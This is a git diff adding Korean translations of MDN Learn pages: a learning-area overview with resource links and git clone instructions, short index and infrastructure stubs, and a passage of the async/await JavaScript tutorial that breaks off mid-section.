+  <p>초보 개발자에서 한 단계 더 나아가고 싶다면  {{glossary("HTML")}} 과  {{glossary("CSS")}} 를 상세히 배워보세요. <a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML</a>, <a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS</a>에 대한 소개를 배울 수 있습니다.</p>
+ </li>
+ <li><span>스크립트 다루기</span>
+  <p><span>HTML과 CSS을 잘 다루거나 코딩 경험이 많다면, </span>{{glossary("JavaScript")}}나 서버측 개발을 해 보시는 것이 좋습니다. <a href="/ko/docs/Learn/JavaScript/First_steps">JavaScript시작하기</a>와 <a href="/ko/docs/Learn/Server-side/First_steps">서버측 개발 시작하기</a>를 시작해 보세요.</p>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>참고</strong>: 기술 정의에 대한 <a href="/ko/docs/Glossary">용어집</a>를 제공합니다. </p>
+</div>
+
+<p>{{LearnBox({"title":"Random glossary entry"})}}</p>
+
+<h2 id="다루는_주제">다루는 주제</h2>
+
+<p>다음은 MDN 학습 영역에서 다루는 모든 주제의 목록입니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Getting_started_with_the_web">웹 개발 시작하기</a></dt>
+ <dd>초보자가 쉽게 따라할 수 있도록 웹 개발을 간단히 소개합니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML">HTML — 웹 구축하기</a></dt>
+ <dd>HTML은 웹사이트에 들어갈 내용을 작성하고, 해당 내용이 의미나 목적을 정의할 때 사용하는 언어입니다. 이 곳에서는 HTML을 자세히 설명합니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS">CSS — 웹 스타일링 익히기</a></dt>
+ <dd>CSS는 웹을 꾸미는 데 사용합니다. 애니메이션과 같은 동작을 추가하거나 웹 컨텐츠의 스타일을 지정할 때 사용할 수 있습니다. 이 곳을 통해 CSS 활용법을 알 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript">JavaScript — 동적인 클라이언트 사이드(혹은 프론트 엔드) 언어</a></dt>
+ <dd>JavaScript는 동적 기능을 웹 페이지에 넣을 때 사용하는 스크립트 언어입니다. 이  문서는 JavaScript를 이해하고 작성하는데 익숙해지는데 필요한 핵심적인 내용을 모두 가르쳐줍니다.</dd>
+ <dt><a href="/ko/docs/Learn/Forms">Web forms — 사용자 데이타로 작업하기</a></dt>
+ <dd>Web forms는 사용자와 정보를 주고받기 위한 강력한 도구입니다 — 주로 사용자의 정보를 수집하거나, 유저 인터페이스를 제공하기 위해 사용됩니다. 관련 문서에서 web 폼을 구성하고, 꾸미고, web form과 통신하기 위해 필요한 핵심적인 내용을 모두 다룹니다.</dd>
+ <dt><a href="/ko/docs/Learn/Accessibility">접근성 — 모두를 위한 웹사이트</a></dt>
+ <dd>접근성은 신체적인 장애나 지역과 장비및 기타 개인간 차별을 유발하는 요소에 상관없이 누구나 웹에 접근할 수 있도록 하기 위한 코드 작성법을 다룹니다. 이 문서를 통해 필요한 모든 내용을 학습할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/Performance">Web 성능 — 웹사이트를 빠르고 즉시 반응하도록 만들기 </a></dt>
+ <dd>Web 성능은  사용자의 인터넷 대역이나, 화면 크기, 네트워크나 장비의 능력에 관계없이, 웹 어플리케이션의 다운로드를 빠르게하고 사용자의 조작에 즉시 반응하도록 하는 기술입니다. </dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing">도구와 테스트</a></dt>
+ <dd>크로스 브라우징(cross browsing) 도구처럼 개발자가 개발을 하는 데 도움을 주는 도구를 설명합니다.</dd>
+ <dt><a href="/ko/docs/Learn/Server-side">서버 사이드(혹은 벡 엔드) 웹 프로그래밍</a></dt>
+ <dd>클라이언트측 웹 개발에 집중해도 서버가 작동하는 방식을 파악하는 것이 여전히 유용합니다. 이 곳에서는 서버측의 작동 방식 간단히 알려주고, 두가지 유명한 프레임워크인 Django(Python)과 Express (node.js)를 사용하여 서버측 응용 프로그램을 빌드하는 방법을 알려줍니다.</dd>
+</dl>
+
+<h2 id="코드_예제_얻기">코드 예제 얻기</h2>
+
+<p>학습 영역에서 만날 수 있는 코드 예제는 모두 <a href="https://github.com/mdn/learning-area/">GitHub에서 사용할 수 있습니다</a>. 코드 예제를 컴퓨터로 복사하고 싶다면, 가장 쉬운 방법은 <a href="https://github.com/mdn/learning-area/archive/master.zip">가장 최신의 master 코드 브랜치를  ZIP으로 다운로드</a> (&lt;-클릭하면 zip 파일이 다운로드됨) 받는것입니다.</p>
+
+<p>자동 업데이트가 되는 좀더 유연한 방법으로 저장소(repo)를 복사하고 싶다면, 다음과 같이 좀 더 복잡한 과정을 따라하면 됩니다.</p>
+
+<ol>
+ <li>컴퓨터에<a href="http://git-scm.com/downloads"> Git</a>을 설치합니다. 이것은 GitHub가 사용하는 버전 관리 소프트웨어 입니다.</li>
+ <li><a href="https://www.lifewire.com/how-to-open-command-prompt-2618089">명령 프롬프트</a> (윈도우) 혹은 터미널(<a href="https://help.ubuntu.com/community/UsingTheTerminal">리눅스</a>, 맥<a href="http://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line">OSX</a>)의 컴퓨터에서 엽니다.</li>
+ <li>명령 프롬프트/터미널이 가리키는 현재 폴더에 learning area 저장소를 복사하려면 다음 명령어를 사용하십시오:
+  <pre class="brush: bash">git clone https://github.com/mdn/learning-area</pre>
+ </li>
+ <li>해당 위치에 learning-area 폴더가 생성된 것을 확인할 수 있습니다.</li>
+</ol>
+
+<p>만약 learning-area를 받은지 오래됐다면, 아래 단계를 거쳐 GitHub에서 <code>earning-area</code>에 대한 최신 정보를 업데이트 받을 수 있습니다:</p>
+
+<ol>
+ <li>명령 프롬프트/터미널에서, <code>cd</code>명령어를 사용하여 <code>learning-area</code> 디렉토리로 이동하십시오.  예를 들어 만약 상위 디렉토리에 있다면:
+
+  <pre class="brush: bash">cd learning-area</pre>
+ </li>
+ <li>아래의 명령어를 사용하면 저장소에 있는 정보를 최신 상태로 업데이트합니다:
+  <pre class="brush: bash">git pull</pre>
+ </li>
+</ol>
+
+<h2 id="연락처">연락처</h2>
+
+<p>질의 사항이 있는 경우 <a href="/ko/docs/MDN/Community/Conversations#Asynchronous_discussions">메일링 리스트</a>나 <a href="/ko/docs/MDN/Community/Conversations#Chat_in_IRC">IRC 채널</a>를 통해 메세지를 보내주실 수 있습니다. 내용 오류나 새로운 학습 주제 요청, 이해가 되지 않는 사항에 대한 질의 등 무엇이든 환영합니다.<br>
+ <br>
+ 이 모든 학습 과정은 재능 기부자들의 도움으로 만들 수 있었습니다. 컨텐츠의 개발, 개선에 대해 도움을 주실 것에 관심이 있는 경우<a href="/ko/Learn/How_to_contribute">, 도움을 주는 방법</a>을 한번 봐주시어 <a href="./docs/MDN/Community#Join_our_mailing_lists">메일링 리스트</a>나 <a href="./docs/MDN/Community#Get_into_IRC">IRC 채널</a>을 통해 소통하신다면 큰 힘이 될 것입니다. 저희는 여러분들이 필요합니다. 이 학습 플랫폼을 개선하는데 열정을 가지신 분이라면 누구든지 환영합니다.</p>
+
+<h2 id="관련_정보">관련 정보</h2>
+
+<p>** 이곳에 있던 <strong>한국어 사이트</strong>는 새로 개정되어 <strong>승인된 English (US) 버전과 동기하여 비교하기 쉽도록 </strong>아래쪽 <strong>사용자 추천 사이트</strong> 로 내렸습니다.**</p>
+
+<h3 id="영어_원문에_있는_사이트">영어 원문에 있는 사이트</h3>
+
+<dl>
+ <dt><a href="https://www.mozilla.org/en-US/newsletter/developer/">Mozilla Developer Newsletter</a></dt>
+ <dd>모든 웹 개발자를 위한 모질라 재단의 뉴스레터</dd>
+ <dt><a href="https://learnjavascript.online/" rel="noopener">JavaScript 배우기</a></dt>
+ <dd>Web 개발자 지망생을 위한 훌륭한 자료  — 짧은 강좌와 대화형 테스트, 자동화된 평가로 지도하는 인터랙티브 환경에서 JavaScript를 배웁니다. 처음 40개 강좌 는 무료이며, 한번의 작은 금액 지불로 전체코스를 수강할 수 있습니다.</dd>
+ <dt><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">Web Demystified </a></dt>
+ <dd><a href="https://twitter.com/JeremiePat">Jérémie Patonnier</a>가 만든 웹 개발을 초보자가 기본을 쌓기에 좋은 강의</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://www.codecademy.com/">Codecademy</a></dt>
+ <dd>처음으로 프로그래밍 언어를 공부하고 바로 실습할 수 있음</dd>
+ <dt><a href="https://www.bitdegree.org/learn/">BitDegree</a></dt>
+ <dd>게임화를 적용한 과정으로 기초 코딩 이론을 배울수 있음. 초보자를 대상으로 함</dd>
+ <dt><a href="https://code.org/">Code.org</a> </dt>
+ <dd>기초 코딩 이론과 연습. 주로 아이들이나 완전 초보자를 대상으로 함</dd>
+ <dt><a href="https://exlskills.com/learn-en/courses">EXLskills</a></dt>
+ <dd>정보 기술을 배우는 무료 강의를 제공. 프로젝트 기반의 학습 제공되며 멘토들에게 직접 조언을 구할수도 있음</dd>
+ <dt><a href="https://www.freecodecamp.com/">freeCodeCamp.com</a></dt>
+ <dd>웹 개발을 배우기 위한 튜토리얼과 프로젝트가 있음</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://learning.mozilla.org/web-literacy/">Web Literacy Map</a></dt>
+ <dd>초보자가 웹을 활용하고 최신 기술을 배울 수 있는 사이트로 학습 활동을 위한 자료도 제공함</dd>
+ <dt><a href="https://edabit.com/">Edabit</a></dt>
+ <dd>다양한 코딩 문제를 접할 수 있음</dd>
+</dl>
+
+<dl>
+ <dt>
+ <h3 id="영어_원문에_없는_사용자_추천_사이트">영어 원문에 없는 사용자 추천 사이트 </h3>
+ </dt>
+ <dt><a href="https://programmers.co.kr/">프로그래머스</a></dt>
+ <dd>프로그래밍의 기초와 실습을 동시에 할 수 있음</dd>
+ <dt><a href="https://opentutorials.org/course/1">생활코딩</a></dt>
+ <dd>웹에 대한 기초를 쌓기에 유익함</dd>
+ <dt><a href="https://www.edwith.org/">edwith</a></dt>
+ <dd>부스트 코스를 통해 웹 개발을 심도 있게 배울 수 있음</dd>
+ <dt><a href="https://www.acmicpc.net/">Baekjoon Online Judge</a></dt>
+ <dd>다양한 코딩 문제를 풀어볼 수 있음</dd>
+ <dt><a href="https://learning.mozilla.org/activities">Teaching activities</a></dt>
+ <dd>모질라 재단이 운영하는 학습 플랫폼으로 기본적인 웹 활용 방법과 개인 정보 보호부터 JavaScript와 Minecraft 해킹까지 배울 수 있음</dd>
+ <dt><a href="https://www.w3schools.com/">w3schools</a> </dt>
+ <dd>세계에서 가장 큰 웹 개발자 사이트가 모토이며, 모질라와는 달리 설명하는 문장이 길지않고 짤막한 단문으로 이해하기 쉬우며 예제 중심으로 설명하고 있음. 또한 사이트 메뉴가 원하는 주제를 찾기 쉽게 구성 되어 있음</dd>
+</dl>
diff --git a/files/ko/learn/index/index.html b/files/ko/learn/index/index.html
new file mode 100644
index 0000000000..ef35585b45
--- /dev/null
+++ b/files/ko/learn/index/index.html
@@ -0,0 +1,10 @@
+---
+title: Index
+slug: Learn/Index
+tags:
+  - Index
+  - Learn
+  - MDN Meta
+translation_of: Learn/Index
+---
+<p>{{Index("/ko/docs/Learn")}}</p>
diff --git a/files/ko/learn/infrastructure/index.html b/files/ko/learn/infrastructure/index.html
new file mode 100644
index 0000000000..b2fb5c62b7
--- /dev/null
+++ b/files/ko/learn/infrastructure/index.html
@@ -0,0 +1,18 @@
+---
+title: Infrastructure
+slug: Learn/Infrastructure
+translation_of: Learn/Common_questions
+---
+<p><span style="line-height: 1.5;">이 능력은 인터넷 기술 스택에 대해  잘 이해할 수 있도록 해줍니다. 알아야 할 것들을 작고, 세부적 기술들로 나누었습니다:</span></p>
+
+<h2 id="기본_스킬" style="line-height: 30px; font-size: 2.14285714285714rem;">기본 스킬</h2>
+
+<p>웹에 익숙하지 않으시다면 여기서부터 시작하세요. 웹에 관련된 전문용어를 이해하기위해서 <a href="https://developer.mozilla.org/en-US/docs/Glossary">용어사전</a>을 참고하는 것을 추천합니다.</p>
+
+<h2 id="중급_스킬" style="line-height: 30px; font-size: 2.14285714285714rem;">중급 스킬</h2>
+
+<p>웹에 익숙해지셨다면, 여기에 더 자세한 것들이 있습니다:</p>
+
+<h2 id="고급_스킬" style="line-height: 30px; font-size: 2.14285714285714rem;">고급 스킬</h2>
+
+<p>경험있는 웹 저자라면, 특정 주제나 특별한 기술들에 흥미를 느끼실 것입니다.</p>
diff --git a/files/ko/learn/javascript/asynchronous/async_await/index.html b/files/ko/learn/javascript/asynchronous/async_await/index.html
new file mode 100644
index 0000000000..339a9dabdb
--- /dev/null
+++ b/files/ko/learn/javascript/asynchronous/async_await/index.html
@@ -0,0 +1,383 @@
+---
+title: Making asynchronous programming easier with async and await
+slug: Learn/JavaScript/Asynchronous/Async_await
+translation_of: Learn/JavaScript/Asynchronous/Async_await
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}</div>
+
+<p class="summary">Javascript에 대한 최신 추가 사항은 ECMAScript 2017 JavaScript 에디션의 일부인 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async functions</a> 그리고 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a></code> 키워드 입니다.(<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next support in Mozilla</a>를 참조하세요). 이러한 기능들은 Promise기반 코드를 좀 더 쓰기 쉽고 읽기 쉽게 만들어줍니다. 이 기능을 사용하면 비동기 코드를 구식 동기 코드처럼 보여주기 때문에 충분히 배울 가치가 있습니다.이번 문서에서 위의 기능을 어떻게 사용하는지 배울 것 입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>Basic computer literacy, a reasonable understanding of JavaScript fundamentals, an understanding of async code in general and promises.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>To understand promises and how to use them.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="The_basics_of_asyncawait">The basics of async/await</h2>
+
+<p>async/await 코드는 두 가지 부분으로 나눠져있습니다.</p>
+
+<h3 id="The_async_keyword">The async keyword</h3>
+
+<p>먼저 비 동기 함수를 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async function</a>으로 만들기 위하여 function()앞에 <code>async</code> keyword를 추가합니다. async function()은 <code>await</code> 키워드가 비동기 코드를 호출할 수 있게 해주는 함수 입니다.</p>
+
+<p>브라우저의 JavaScript 콘솔에서 아래와 같이 입력해보세요. :</p>
+
+<pre class="brush: js notranslate">function hello() { return "Hello" };
+hello();</pre>
+
+<p>위의 함수는 "Hello"를 반환합니다. — 특별할게 없죠?</p>
+
+<p>그러면 함수 앞에 async 키워드를 추가하면 어떻게 될까요?? 아래처럼 작성해봅시다.:</p>
+
+<pre class="brush: js notranslate">async function hello() { return "Hello" };
+hello();</pre>
+
+<p>이제 코드가 Promise를 반환합니다. 이것이 async 기능의 특징 중 하나 입니다. — 이 키워드를 사용하면 반환받는 값은 Promise가 됩니다..</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/async_function">async function expression</a>을 사용하여 아래와 같이 만들 수도 있습니다. :</p>
+
+<pre class="brush: js notranslate">let hello = async function() { return "Hello" };
+hello();</pre>
+
+<p>화살표 함수를 사용하면 아래처럼 쓸 수 있습니다. :</p>
+
+<pre class="brush: js notranslate">let hello = async () =&gt; { return "Hello" };</pre>
+
+<p>기본적으로 두 가지는 모두 같습니다.</p>
+
+<p>실제로는 fulfil Promise가 반환되기 때문에 반환된 값을 사용하기 위해선 <code>.then()</code> 블럭을 사용해야 합니다. :</p>
+
+<pre class="brush: js notranslate">hello().then((value) =&gt; console.log(value))</pre>
+
+<p>짧개 표현하면 아래와 같이 쓸 수 있습니다.</p>
+
+<pre class="brush: js notranslate">hello().then(console.log)</pre>
+
+<p>이전에 봤던 내용과 비슷하죠?.</p>
+
+<p>정리하면, <code>async</code> 를 함수와 같이 사용하면 결과를 직접 반환하는게 아니라 Promise를 반환하게 합니다. 또한 동기식 함수는 <code>await</code>사용을 위한 지원과 함께 실행되는 잠재적인 오버헤드를 피할 수 있습니다. 함수가  <code>async</code>라고 선언될 때 필요한 핸들링만 추가하면 JavaScript엔진이 우리가 만든 프로그램을 최적화 할 수 있습니다. 끝내주죠?</p>
+
+<h3 id="The_await_keyword">The await keyword</h3>
+
+<p>비동기 함수를 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a> 키워드와 함께 쓰면 그 장점이 확실히 보입니다. 이것은 어떠한 Promise기반 함수 앞에 놓을 수 있습니다. 그리고 우리의 코드의 Promise가 fulfil될 때 까지 잠시 중단하고, 결과를 반환합니다. 그리고 실행을 기다리는 다른 코드들을 중지시키지 않고 그대로 실행되게 합니다.</p>
+
+<p><code>await</code> 키워드는 웹 API를 포함하여 Promise를 반환하는 함수를 호출할 때 사용할 수 있습니다.</p>
+
+<p>여기 간단한 예가 있습니다. :</p>
+
+<pre class="brush: js notranslate">async function hello() {
+  return greeting = await Promise.resolve("Hello");
+};
+
+hello().then(alert);</pre>
+
+<p>물론 위의 예시는 그다지 쓸모있진 않습니다. 다만 어떻게 구문을 작성해야 하는지는 잘 나타내줍니다. 이제 실제 사례를 살펴봅시다.</p>
+
+<h2 id="Rewriting_promise_code_with_asyncawait">Rewriting promise code with async/await</h2>
+
+<p>이전 문서에서 봤던 간단한 fetch() 예제를 살펴봅시다. :</p>
+
+<pre class="brush: js notranslate">fetch('coffee.jpg')
+.then(response =&gt; response.blob())
+.then(myBlob =&gt; {
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch(e =&gt; {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});</pre>
+
+<p>지금 시점에서 우리는 Promise가 어떻게 작동하는지 잘 이해하고 있습니다. 그렇다면 지금부터 이 예제를 async/await 를 사용하여 더 간단하게 만들어봅시다. :</p>
+
+<pre class="brush: js notranslate">async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  let myBlob = await response.blob();
+
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}
+
+myFetch()
+.catch(e =&gt; {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});</pre>
+
+<p>바꾸고 나니 더 이해하기 쉬워졌습니다. — 더 이상의 <code>.then()</code> 블럭은 찾아 볼 수 없습니다.</p>
+
+<p><code>async</code> 키워드가 함수를 Promise로 바꾸었기, 이제 promise 와 await의 하이브리드 접근방식을 사용하기 위해 코드를 리팩토링 할 수 있으며, 두 번째 <code>.then()</code>블럭을 함수 내부의 블럭으로 가져와 더 유연하게 만들 수 있습니다.</p>
+
+<pre class="brush: js notranslate">async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  return await response.blob();
+}
+
+myFetch().then((blob) =&gt; {
+  let objectURL = URL.createObjectURL(blob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}).catch(e =&gt; console.log(e));</pre>
+
+<p>예제를 직접 만들어보거나, 여기서 결과를 확인할 수 있습니다. <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await.html">live example</a> (see also the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await.html">source code</a>).</p>
+
+<h3 id="But_how_does_it_work">But how does it work?</h3>
+
+<p>함수 안에 코드를 작성했고, <code>function</code> 키워드 앞에 <code>async</code> 키워드를 썼다는 것을 알 수 있습니다. 꼭 이렇게 써야합니다!! 비동기 코드를 실행할 블럭을 정의하려면 비동기 함수를 생성해야 합니다. <code>await</code>는 <code>async function</code> 안에서만 쓸 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> It's worth saying again, in a box with an eye-catching background color: <code>await</code> only works inside async functions.</p>
+</div>
+
+<p><code>myFetch()</code> 함수 내에 코드가 이전의 Promise버전과 매우 유사하지만, 다른점이 있습니다. <code>.then()</code>블럭을 사용하여 작업을 이어가는 대신 메서드 호출 전에 <code>await</code> 키워드를 사용하여 반환된 결과를 변수에 할당합니다. <code>await</code> 키워드는 JavaScript 런타임이 이 라인에서 비동기 코드를 일시 중지하여 비동기 함수 호출이 결과를 반환할 때 까지 기다리게 합니다. 그러나 외부의 다른 동기 코드는 실행될 수 있도록 합니다. 작업이 완료되면 코드는 계속 이어져서 실행됩니다. 예를들면 아래와 같습니다. :</p>
+
+<pre class="brush: js notranslate">let response = await fetch('coffee.jpg');</pre>
+
+<p>fullfilled된 <code>fetch()</code> Promise에서 반환된 응답은 해당 응답이 사용할 수 있게 되면 <code>response</code> 변수에 할당됩니다. 그리고 parser는 해당 응답이 발생할 때 까지 이 라인에서 일시 중지됩니다. response가 사용 가능하게 되면, parser 는 다음 라인으로 이동하게 되고 그 라인에서 <code><a href="/en-US/docs/Web/API/Blob">Blob</a></code> 을 생성하게 됩니다. 이라인도 Promise기반 비동기 메서드를 호출하므로, 여기서도<code>await</code> 을 사용합니다. 비동기 작업 결과가 반환되면, <code>myFetch()</code> 함수가 그 결과를 반환합니다.</p>
+
+<p><code>myFetch()</code> 함수를 호출하면, Promise를 반환하므로, 따라서 화면에 Blob을 표시해주는 <code>.then()</code> 코드 블럭 체이닝 할 수 있습니다.</p>
+
+<p>여기까지 왔으면 이 방법이 멋있다고 생각해야합니다! 왜냐하면 <code>.then()</code> 블럭이 줄어들고 대부분이 동기 코드처럼 보이기 때문에 정말 직관적입니다.</p>
+
+<h3 id="Adding_error_handling">Adding error handling</h3>
+
+<p>그리고 오류 처리를 하려면 몇 가지 옵션이 있습니다.</p>
+
+<p>동기식 코드에서 쓰는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> 구문을 <code>async</code>/<code>await</code>구조에서 사용할 수 있습니다. 이 예제는 위에서 설명한 첫 번째 코드를 수정한 것 입니다. :</p>
+
+<pre class="brush: js notranslate">async function myFetch() {
+  try {
+    let response = await fetch('coffee.jpg');
+    let myBlob = await response.blob();
+
+    let objectURL = URL.createObjectURL(myBlob);
+    let image = document.createElement('img');
+    image.src = objectURL;
+    document.body.appendChild(image);
+  } catch(e) {
+    console.log(e);
+  }
+}
+
+myFetch();</pre>
+
+<p><code>catch() {}</code> 블록은 <code>e</code> 라고 부르는 에러 오브젝트를 통과시킵니다. 이제 콘솔에 코드가 던져준 에러 메시지를 출력할 수 있습니다.</p>
+
+<p>아래 코드는 처음 예제를 리팩토링한 두 번째 버전의 코드 입니다. 이 하이브리드 접근법을 사용하는 코드에서 에러를 탐지하고 싶으면 <code>.catch()</code> 블럭을 <code>.then()</code> 호출의 마지막에 작성합니다. :</p>
+
+<pre class="brush: js notranslate">async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  return await response.blob();
+}
+
+myFetch().then((blob) =&gt; {
+  let objectURL = URL.createObjectURL(blob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch((e) =&gt;
+  console.log(e)
+);</pre>
+
+<p>이는 <code>.catch()</code> 블럭이 async 함수 호출과 Promise 체인 모두에서 발생하는 오류를 잡을 수 있기 때문입니다. 여기서 <code>try</code>/<code>catch</code> 블럭을 사용했더라도, <code>myFetch()</code> 에서 발생한 unhandled에러를 잡아낼 수 있습니다.</p>
+
+<p>위의 예제 모두를 GitHub에서 찾아볼 수 있습니다. :</p>
+
+<ul>
+ <li><a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await-try-catch.html">simple-fetch-async-await-try-catch.html</a> (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await-try-catch.html">source code</a>)</li>
+ <li><a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await-promise-catch.html">simple-fetch-async-await-promise-catch.html</a> (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await-promise-catch.html">source code</a>)</li>
+</ul>
+
+<h2 id="Awaiting_a_Promise.all">Awaiting a Promise.all()</h2>
+
+<p>async/await는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promises</a>의 상위에 만들어져 있기 때문에 Promise의 모든 기능을 사용할 수 있습니다. <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all()</a></code> 을 포함해서 말이죠 — 아래 보이는 코드처럼 <code>Promise.all()</code> 앞에 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">async</span></font>키워드를 사용하여 동기식 코드처럼 작성할 수 있습니다. 이전 문서를 확인해봅시다. <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">an example we saw in our previous article</a>. 새로운 버전과 비교하기 위해 탭을 분리 해보세요.</p>
+
+<p>Aasync/await 스타일로 변경한 코드는 아래와 같습니다. (see <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-all-async-await.html">live demo</a> and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-all-async-await.html">source code</a>) :</p>
+
+<pre class="brush: js notranslate">async function fetchAndDecode(url, type) {
+  let response = await fetch(url);
+
+  let content;
+
+  if(type === 'blob') {
+    content = await response.blob();
+  } else if(type === 'text') {
+    content = await response.text();
+  }
+
+  return content;
+}
+
+async function displayContent() {
+  let coffee = fetchAndDecode('coffee.jpg', 'blob');
+  let tea = fetchAndDecode('tea.jpg', 'blob');
+  let description = fetchAndDecode('description.txt', 'text');
+
+  let values = await Promise.all([coffee, tea, description]);
+
+  let objectURL1 = URL.createObjectURL(values[0]);
+  let objectURL2 = URL.createObjectURL(values[1]);
+  let descText = values[2];
+
+  let image1 = document.createElement('img');
+  let image2 = document.createElement('img');
+  image1.src = objectURL1;
+  image2.src = objectURL2;
+  document.body.appendChild(image1);
+  document.body.appendChild(image2);
+
+  let para = document.createElement('p');
+  para.textContent = descText;
+  document.body.appendChild(para);
+}
+
+displayContent()
+.catch((e) =&gt;
+  console.log(e)
+);</pre>
+
+<p>몇 가지 사항을 조금 수정했을 뿐인데 <code>fetchAndDecode()</code>함수를 쉽게 비동기 함수로 변환했습니다. <code>Promise.all()</code> 라인을 살펴보세요:</p>
+
+<pre class="brush: js notranslate">let values = await Promise.all([coffee, tea, description]);</pre>
+
+<p>여기에 <code>await</code> 을 사용하여 세 가지 Promise의 결과가 반환되었을 때 <code>values</code> 배열에 담을 수 있습니다. 그리고 마치 동기화 코드처럼 보이죠. 우리가 작업한건 <code>displayContent()</code>에 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">async</span></font>키워드를 추가하고, 모든 코드를<code>.then()</code> 블럭 바깥으로 빼냈습니다. 또한 아주 적은양의 코드 수정도 했죠. 이렇게 하니 더 단순하고, 유용하고 읽기 쉬운 프로그램이 되었습니다.</p>
+
+<p>마지막으로 에러를 다루기 위해 <code>.catch()</code> 블럭을 <code>displayContent()</code> 함수를 호출하는 곳에 추가했습니다. 이렇게 하면 두 함수에서 발생하는 에러를 처리할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: It is also possible to use a sync <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch#The_finally_clause">finally</a></code> block within an async function, in place of a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally">.finally()</a></code> async block, to show a final report on how the operation went — you can see this in action in our <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-finally-async-await.html">live example</a> (see also the <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-finally-async-await.html">source code</a>).</p>
+</div>
+
+<h2 id="The_downsides_of_asyncawait">The downsides of async/await</h2>
+
+<p>앞서 봤듯이 async/await 은매우 유용하지만 고려해야 할 몇 가지 단점이 있습니다.</p>
+
+<p>Async/await 는 우리의 코드를 마치 동기식 코드처럼 보이게 합니다. 그리고 어떤 면에서는 정말로 동기적으로 행동합니다. 함수 블럭에 여러 개의 <code>await</code> 키워드를 사용하면 Promise가 fulfilled되기 전 까지 다음 <code>await</code> 을 차단합니다. 그 동안 다른 태스크는 계속 실행이 되지만 정의한 함수 내에서는 동기적으로 작동할 것 입니다.</p>
+
+<p>이 말은 우리가 작성한 코드가 바로 이어지는 수 많은 Promise에 의해 느려질 수 있다는 것을 의미합니다. 각 <code>await</code> 는 이전의 작업이 끝날 때 까지 기다립니다(Promise 체이닝과 혼동하지 마세요). 그런데 우리가 원하는건 기다리는게 아니고 일제히 실행되는 것 입니다.</p>
+
+<p>이 문제를 완화할 수 있는 패턴이 있습니다. — 모든 <code>Promise</code> 오브젝트를 변수에 저장하여 미리 실행되게 하고 변수가 사용 가능할 때 꺼내서 쓰는 것 입니다. 어떻게 작동하는지 한번 살펴봅시다.</p>
+
